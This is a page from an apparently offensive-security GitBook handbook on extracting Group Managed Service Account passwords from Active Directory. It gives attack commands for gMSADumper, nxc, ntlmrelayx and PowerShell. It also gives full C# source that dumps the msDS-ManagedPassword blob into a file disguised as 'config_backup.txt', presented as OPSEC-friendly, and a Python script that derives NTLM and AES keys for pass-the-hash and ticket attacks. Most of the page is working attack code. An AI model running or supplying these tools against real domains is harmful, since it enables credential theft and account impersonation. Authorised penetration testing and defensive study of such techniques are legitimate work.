🔴
Hacking
  • 1. Hacking Infrastructure
    • Infra Planification
      • Infrastructure Diagram & Requirements
    • Infra Configuration
      • Attack Server & Machine Configurations
      • C2 Server
      • Redirector
      • Payload Server
      • Phishing Server
  • 2. Reconnaissance and Information Gathering
    • OSINT (Open-Source Intelligence)
      • Enviroment
      • Android Virtualization
      • Web Browsers
      • Sock Puppets (Covert Accounts)
      • All-purpose Advanced Tools
      • Search Engines
      • People Search Engines
      • Websites & Domains
      • IP Addresses
      • Users & Emails
      • Social Media
      • Documents
      • Images
      • Videos & Lives
      • Metadata
      • Telephone Numbers
      • Online Maps
      • Virtual Currencies
      • Leaks, Breaches, Logs and Ransomware
      • Government & Business Records
    • Port, Version, Vuln Scanning
      • Nmap
      • Shodan
      • Network Mapping
      • Researching Potential Vulnerabilities
      • Dark Web Scanning
  • 3. Social Engeniering
    • Phising
      • Recycling Domains
      • Header Manipulation
      • Email Creation and Delivery
      • Email Spoofing & Warning Disabling
      • Site Building
      • Evilginx
      • Payload Hosting Obfuscation
      • Diverting the Analysts
      • VBA Macros & RTI
      • HTML Smuggling & HTA Files
      • JS Files
      • Other File Types
    • SMS Spoofing
      • SMSpubli
    • Social Engineering Toolkit (SET)
      • SET Installation
  • 4. Exploitation
    • Password Cracking
      • SetUp
      • Wordlist Building
      • Tools
    • Payloads - File Transfer - Coding - MalDev - ExploitDev
      • Payload Triggering
        • Shell File Transfer
        • PS Execution - Donwload Craddles
      • Normal Shells, Revshells and Webshells
        • Reverse Shells vs Bind Shells
        • Direct Reverse Shell Commands
        • Interactive Shell
        • Normal Reverse Shell Tools
        • PHP Webshells
        • ASP/ASPX Webshells
        • Kraken Webshell
        • Python Webshells
      • Coding Basics
        • Bash
        • Python
        • C
        • C++
        • C#
        • x86-64 (Intel) Assembly - NASM & MASM
      • Windows MalDev
        • MDLC & Tools
        • Architecture, Memory Management, APIs & Processes
        • PEs & DLLs
        • Malware Binary Signing & Metadata Modification
        • Payload Placement
        • Payload Execution Control
        • Payload Encryption & Obfuscation
        • Malware Optimization: Entropy Reduction & Compile Settings
        • Local Payload Execution
        • Process Enum, Injection & Hollowing
        • Payload Staging
        • Thread Hijacking
        • APC Injection
        • Callback Code Execution
        • Mapping Injection
        • Function Stomping Injection
        • PPID Spoofing
        • Process Argument Spoofing
        • API Hooking
        • String Hashing
        • IAT Hiding, Obfuscation & Camouflage
        • Anti-Debugging
        • Anti-Virtualization
        • Syscalls
        • NTDLL Refreshing
      • Windows ExploitDev
        • Tools
        • x86 Vanilla Stack BOF
      • Linux ExploitDev
        • BOF GNU/Linux 32-bit
    • Active Directory
      • Host and Domain Recon
        • SMB (139,445) Enum
        • RPC (135, 1024-5000) Enum
        • LDAP (389,636,3268,3269) Enum
        • PowerView
        • RSAT tools & others
        • BloodHound
      • Attacks and procedures
        • Password Spraying
        • User Impersonation
        • Lateral Movement
        • Kerberos (88)
        • Certificate Services (AD CS)
        • ACLs/ACEs
        • Group Policy
        • MS SQL Servers
        • LAPS (Local Administrator Password Solution)
        • Group Managed Service Accounts (gMSAs)
        • Microsoft Configuration Manager
        • Domain Dominance
        • Forest & Domain Trusts
        • MiTM & Relaying Attack
    • Cloud
      • Azure
        • Basic Info
        • Initial Access
        • Enumeration
        • Privilege Escalation
        • Lateral Movement
        • Persistence
        • Data Exfiltration
      • AWS
        • Basic Info
        • Initial Access
        • Enumeration
        • Privilege Escalation
        • Lateral Movement
        • Post-Exp & Persistence
        • Data Exfiltration
      • Google Cloud and Workspace
        • Basic Info
        • Initial Access
        • Enumeration
        • Privilege Escalation & Lateral Movement
        • Credential Access
        • Data Exfiltration
        • Persistance
    • Web
      • Fingerprinting
      • Automated Scanners
      • Proxies
        • WAFs & Attack Obfuscation
        • HTTP Request Smuggling
      • CMS's: Content Management Systems
      • Authentication
        • Authentication vulnerabilities
        • OAuth 2.0 Authentication Vulnerabilities
        • Access Control
      • Files
        • File Upload
      • Reflected Values
        • Command Injection
        • HTML & XSS Injection
        • SSRF: Server-Side Request Forgery
        • SSTI: Server-Side Template Injection
        • CRLF Injection
        • CSV Injection
        • Openredirect
        • Prototype Pollution
        • ShellShock Attack
      • Search functionalities
        • LFI - RFI - Path traversal
        • SQL Injection
        • NoSQL injection
        • LDAP Injection
        • XPath Injection
      • Forms, WebSockets and PostMsgs
        • CSRF: Croos-Site Request Forgery
        • WebSocket Attacks
      • HTTP Headers
        • Clickjacking
        • CORS
        • Host Header Injection
      • Structured objects - Specific functionalities
        • XML External Entity (XXE) Injection
        • Deserialization Attacks
        • Padding Oracle Attack
      • Whitebox
        • Source Code Recovery, Analysis & Debugging
        • Python PoC Building
        • File Upload
        • SQL Injection
        • JavaScript Injection
        • SSTI (Server-Side Template Injection)
        • PHP Type Juggling
        • Prototype Pollution
        • Password Reset Attacks
    • Network Services
      • FTP 21
      • SSH 22
      • DNS 53,5353
      • FINGER 79
      • POP3 110,995
      • SNMP 161,162,10161,10162
      • MYSQL 3306
      • VNC 5800,5801,5900,5901
      • Ansible
      • Artifactory (8081)
      • Citrix & VDIs
      • vSphere & ESXi
    • Wireless Pentesting
      • Wireless Reconnaissance
      • Wifite
      • RogueAP
      • WiFi Pineapple Mark VII
    • Camera Pentesting
      • Identifying Unsecured Web Cams
      • Default Passwords
      • Cameraradar
    • SCADA/ICS
      • Reconnaissance
      • Metasploit Modbus
      • modbus-cli
    • Mobile Pentesting
      • Enviroment SetUp
      • Android Pentest
      • iOS Pentest
  • 5. Privesc and Post-explotation
    • Linux Privilege Escalation
      • Manual Testing Elevation of privileges
      • Enumeration Commands
      • Enumeration Scripts
      • Looting for passwords & Interesting Information
      • Writable Files
      • SUDO
      • SSH Key
      • Scheduled tasks
      • SUID
      • Capbilities
      • NFS Root Squashing (Network File Sharing)
      • Shared Library
      • Docker Breakeout
      • Hijack TMUX session
      • Wildcard
      • Kernel Exploits
    • Linux Post-Explotation
      • SSH Backdoor
      • Manual Backdoors
      • Pillaging/Data Harvesting
    • Windows Privilege Escalation
      • Enumeration Scripts
      • Manual Enumeration
      • Metasploit tools
      • Processes Enumeration and Tasks
      • Incorrect permissions in services
      • Unquoted Service Paths
      • Insecure GUI Apps
      • Autorun
      • AlwaysInstallElevated
      • $PATH Interception
      • Looting for passwords
      • Runas
      • Impersonation Privileges
      • From local administrator to NT SYSTEM
      • Common Vulnerabilities and Exposure (CVE)
      • Kernel Exploitation
      • Named Pipes
      • Vulnerable Drivers
      • Abusing Shadow Copies
    • Windows Post-Explotation
      • Credential Theft
      • RDP Hijacking
      • Session Spying
      • WDigest
      • User backdoor
      • Manual Backdoors
      • Scheduled Tasks, Startup Folder, Autoruns and Services
      • WMI Event Subscriptions Persistance
      • Hunting for COM Hijacks
      • Mail Harvesting
    • Data Exfiltration
  • 6. Evasion Techniques
    • Linux - Evasion Techniques
    • Windows - Evasion Techniques
      • Detection Mechanisms & Evasion Techniques
      • Microsoft Defender Antivirus
      • AMSI & UAC Bypasses
      • AppLocker and Powershell CLM
      • PowerShell Script Block Logging
      • MDE (Microsoft Defender for Endpoint)
      • Altered scripts & Automations
      • Command Reimplementation C#/C
      • EDR Killing
  • 7. Tunneling
    • Port Forwarding
      • SSH Port Forwarding
      • Chisel Port Forwarding
      • Metasploit SSH Port Forwarding
    • Pivoting
      • Linux Tools & Methedology
      • Windows Tools
      • SSH Pivoting
    • C2 (Command and Control)
      • Cobalt Strike
        • Set Up and Team Server
        • Listeners
        • Payloads
        • Attacks
        • Beacon Commands
        • Session Passing
        • Maleable Profiles
        • Artifact Kit
        • Resource Kit
        • Behavioural Detections
        • Aggressor Scripts
        • Beacon Object Files (BOFs)
        • NTLM Relaying Methodology w/ Cobalt
      • Metasploit
        • Schema Cheat Sheet
        • Staged vs Non-Staged Payloads
        • Metasploit Options
        • Start MSF DB (Kali)
        • Listeners
        • Meterpreter Commands
        • Pivoting
        • Meterpreter Pass a Shell
        • Msfvenom Payloads
        • Meterpreter Pillaging/Data Harvesting
      • Havoc
        • Set Up and Team Server
        • Listeners
        • Payloads
        • Deamon Commands
      • Empire
      • Custom C2s
        • HTTP mini C2
  • 8. Profesional Reports
    • LaTeX
      • Tools
      • Variable Config
      • Template definition & PDF Preview
      • Commands
      • Pentest Report Template
    • Documentation Tools
      • Note-Taking
      • Advanced Text Editors
      • Appendix
      • Quality and Diversity of Sources
      • Document Sanitization
    • Report Anatomy
      • OSINT Report Anatomy
Powered by GitBook
On this page
  1. 4. Exploitation
  2. Active Directory
  3. Attacks and procedures

Group Managed Service Accounts (gMSAs)

Group Managed Service Accounts (gMSAs) are Windows-managed accounts designed for services and applications. They eliminate the need for administrators to manage passwords manually, as the system automatically handles secure password updates.

ReadGMSAPassword privilege allows you to read the password for a Group Managed Service Account (GMSA). The extracted password can then be used to authenticate as the gMSA. Once an attacker gets the NT hash of the gMSA password, they can perform a Pass-the-Hash attack or convert it into a Kerberos ticket and use it to impersonate the gMSA.

For a remote (linux based) exploitation:

python3 gMSADumper.py -u <user> -p <password> -d <domain> -l <dc-ip>

nxc ldap <domain> -u <user> -p <password> --gmsa

impacket-ntlmrelayx -t ldaps://<dc-ip> -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs (Trigger a browser-based callback and authenticate as compromised user)

ldap_shell <domain>/<user>:<password> -dc-ip <dc-ip>

In shell:

get_laps_gmsa

To exploit it from windows using the current context of the machine:

Invoke-GMSAPasswordReader -Command "--AccountName <gmsa-name>"

- Custom gMSAPasswordReader via Local Machine Context and offline parser

No credentials or remote auth needed (uses current session). OPSEC-friendly.

First, use this c# program to dump the password blob:

using System;
using System.DirectoryServices.Protocols;
using System.IO;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
 
namespace SilentHound
{
    internal class LDAPConsultant
    {
        private static readonly Regex DcReplaceRegex = new Regex("DC=", RegexOptions.IgnoreCase | RegexOptions.Compiled);
 
        static void Main()
        {
            string accountName = "MyGMSA"; //modify this
            string domainName = GetDomainName(null);
            string ldapDomain = $"DC={domainName.Replace(".", ",DC=")}";
            string target = domainName;
            int ldapPort = 389;
 
            var result = SearchLdap(accountName, ldapDomain, target, ldapPort);
            if (result == null)
            {
                Console.WriteLine("Failed to retrieve password blob. Check permissions or account name.");
                return;
            }
 
            var managedPassword = new PasswordBlob(result.PasswordBlob);
 
            if (managedPassword.CurrentPassword != null)
            {
                var filePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "config_backup.txt");
                File.WriteAllText(filePath, managedPassword.CurrentPassword);
                Console.WriteLine($"Password saved to {filePath}");
            }
            else
            {
                Console.WriteLine("Failed to extract password from blob.");
            }
        }
 
        private static string GetDomainName(string domain)
        {
            var result = DsGetDcName(null, domain, null, null, DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED | DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME,
                out var pDCI);
 
            try
            {
                if (result == 0)
                {
                    var dci = Marshal.PtrToStructure<DOMAIN_CONTROLLER_INFO>(pDCI);
                    return dci.DomainName;
                }
                else
                {
                    return Environment.UserDomainName;
                }
            }
            finally
            {
                if (pDCI != IntPtr.Zero)
                    NetApiBufferFree(pDCI);
            }
        }
 
        private static string ConvertDNToDomain(string distinguishedName)
        {
            var temp = distinguishedName.Substring(distinguishedName.IndexOf("DC=", StringComparison.CurrentCultureIgnoreCase));
            temp = DcReplaceRegex.Replace(temp, "").Replace(",", ".").ToUpper();
            return temp;
        }
 
        private static LdapResult SearchLdap(string accountName, string domainDN, string target, int port)
        {
            var identifier = new LdapDirectoryIdentifier(target, port, false, false);
            var connection = new LdapConnection(identifier) { AuthType = AuthType.Negotiate };
 
            var options = connection.SessionOptions;
            options.Signing = true;
            options.Sealing = true;
            options.RootDseCache = true;
 
            var filter = $"(&(|(sAMAccountName={accountName}$)(sAMAccountName={accountName}))(msds-groupmsamembership=*))";
            var searchRequest = new SearchRequest(domainDN, filter, SearchScope.Subtree, "sAMAccountName", "msDS-ManagedPassword");
 
            try
            {
                var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                var entries = searchResponse?.Entries;
 
                if (entries == null || entries.Count == 0)
                {
                    Console.WriteLine("Account not found!");
                    return null;
                }
 
                foreach (SearchResultEntry entry in entries)
                {
                    var passwordBlob = entry.Attributes["msDS-ManagedPassword"]?[0] as byte[];
                    if (passwordBlob != null)
                    {
                        var newDomain = ConvertDNToDomain(entry.DistinguishedName);
                        var newAccount = entry.Attributes["sAMAccountName"]?[0]?.ToString();
                        return new LdapResult
                        {
                            AccountName = newAccount,
                            DomainName = newDomain,
                            PasswordBlob = passwordBlob
                        };
                    }
                }
 
                Console.WriteLine("Failed to get password blob, maybe insufficient permissions?");
                return null;
            }
            finally
            {
                connection.Dispose();
            }
        }
 
        public class LdapResult
        {
            public string AccountName { get; set; }
            public string DomainName { get; set; }
            public byte[] PasswordBlob { get; set; }
        }
 
        public class PasswordBlob
        {
            public string CurrentPassword { get; set; }
 
            public PasswordBlob(byte[] blob)
            {
                // Implement real decoding if necessary. Simulated for now:
                CurrentPassword = Convert.ToBase64String(blob);
            }
        }
 
        [DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        static extern int DsGetDcName(
            [MarshalAs(UnmanagedType.LPTStr)] string ComputerName,
            [MarshalAs(UnmanagedType.LPTStr)] string DomainName,
            [In] GuidClass DomainGuid,
            [MarshalAs(UnmanagedType.LPTStr)] string SiteName,
            DSGETDCNAME_FLAGS Flags,
            out IntPtr pDOMAIN_CONTROLLER_INFO
        );
 
        [StructLayout(LayoutKind.Sequential)]
        public class GuidClass
        {
            public Guid TheGuid;
        }
 
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct DOMAIN_CONTROLLER_INFO
        {
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DomainControllerName;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DomainControllerAddress;
            public uint DomainControllerAddressType;
            public Guid DomainGuid;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DomainName;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DnsForestName;
            public uint Flags;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string DcSiteName;
            [MarshalAs(UnmanagedType.LPTStr)]
            public string ClientSiteName;
        }
 
        [Flags]
        public enum DSGETDCNAME_FLAGS : uint
        {
            DS_FORCE_REDISCOVERY = 0x00000001,
            DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010,
            DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020,
            DS_GC_SERVER_REQUIRED = 0x00000040,
            DS_PDC_REQUIRED = 0x00000080,
            DS_BACKGROUND_ONLY = 0x00000100,
            DS_IP_REQUIRED = 0x00000200,
            DS_KDC_REQUIRED = 0x00000400,
            DS_TIMESERV_REQUIRED = 0x00000800,
            DS_WRITABLE_REQUIRED = 0x00001000,
            DS_GOOD_TIMESERV_PREFERRED = 0x00002000,
            DS_AVOID_SELF = 0x00004000,
            DS_ONLY_LDAP_NEEDED = 0x00008000,
            DS_IS_FLAT_NAME = 0x00010000,
            DS_IS_DNS_NAME = 0x00020000,
            DS_RETURN_DNS_NAME = 0x40000000,
            DS_RETURN_FLAT_NAME = 0x80000000
        }
 
        [DllImport("Netapi32.dll", SetLastError = true)]
        static extern int NetApiBufferFree(IntPtr Buffer);
    }
}

Now run the following script along with the extracted blob, user and domain:

#!/usr/bin/env python3
import argparse
from base64 import b64decode
from binascii import hexlify
from Cryptodome.Hash import MD4
from impacket.structure import Structure
from impacket.krb5 import constants
from impacket.krb5.crypto import string_to_key
 
# pip install pycryptodomex impacket
 
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
    structure = (
        ('Version','<H'),
        ('Reserved','<H'),
        ('Length','<L'),
        ('CurrentPasswordOffset','<H'),
        ('PreviousPasswordOffset','<H'),
        ('QueryPasswordIntervalOffset','<H'),
        ('UnchangedPasswordIntervalOffset','<H'),
        ('CurrentPassword',':'),
        ('PreviousPassword',':'),
        ('QueryPasswordInterval',':'),
        ('UnchangedPasswordInterval',':'),
    )
 
    def __init__(self, data=None):
        Structure.__init__(self, data=data)
 
    def fromString(self, data):
        Structure.fromString(self, data)
 
        if self['PreviousPasswordOffset'] == 0:
            endData = self['QueryPasswordIntervalOffset']
        else:
            endData = self['PreviousPasswordOffset']
 
        self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
        if self['PreviousPasswordOffset'] != 0:
            self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
 
        self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
        self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
 
def main():
    parser = argparse.ArgumentParser(description='Parse gMSA blob and extract NTLM and AES keys.')
    parser.add_argument('-b', '--blob', help='Base64-encoded msDS-ManagedPassword blob', required=True)
    parser.add_argument('-u', '--username', help='gMSA account name (e.g., svc01$)', required=True)
    parser.add_argument('-d', '--domain', help='Domain name (e.g., example.com)', required=True)
 
    args = parser.parse_args()
 
    blob_data = b64decode(args.blob)
 
    blob = MSDS_MANAGEDPASSWORD_BLOB()
    blob.fromString(blob_data)
    currentPassword = blob['CurrentPassword'][:-2]  # Remove null terminator
 
    # NTLM hash
    ntlm_hash = MD4.new()
    ntlm_hash.update(currentPassword)
    ntlm = hexlify(ntlm_hash.digest()).decode('utf-8')
    print(f'{args.username}:::{ntlm}')
 
    # AES keys
    password = currentPassword.decode('utf-16-le', 'replace').encode('utf-8')
    salt = f'{args.domain.upper()}host{args.username[:-1].lower()}.{args.domain.lower()}'
    aes128 = hexlify(string_to_key(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, password, salt).contents).decode('utf-8')
    aes256 = hexlify(string_to_key(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, password, salt).contents).decode('utf-8')
 
    print(f'{args.username}:aes256-cts-hmac-sha1-96:{aes256}')
    print(f'{args.username}:aes128-cts-hmac-sha1-96:{aes128}')
 
if __name__ == '__main__':
    main()

PreviousLAPS (Local Administrator Password Solution)NextMicrosoft Configuration Manager

Last updated 5 hours ago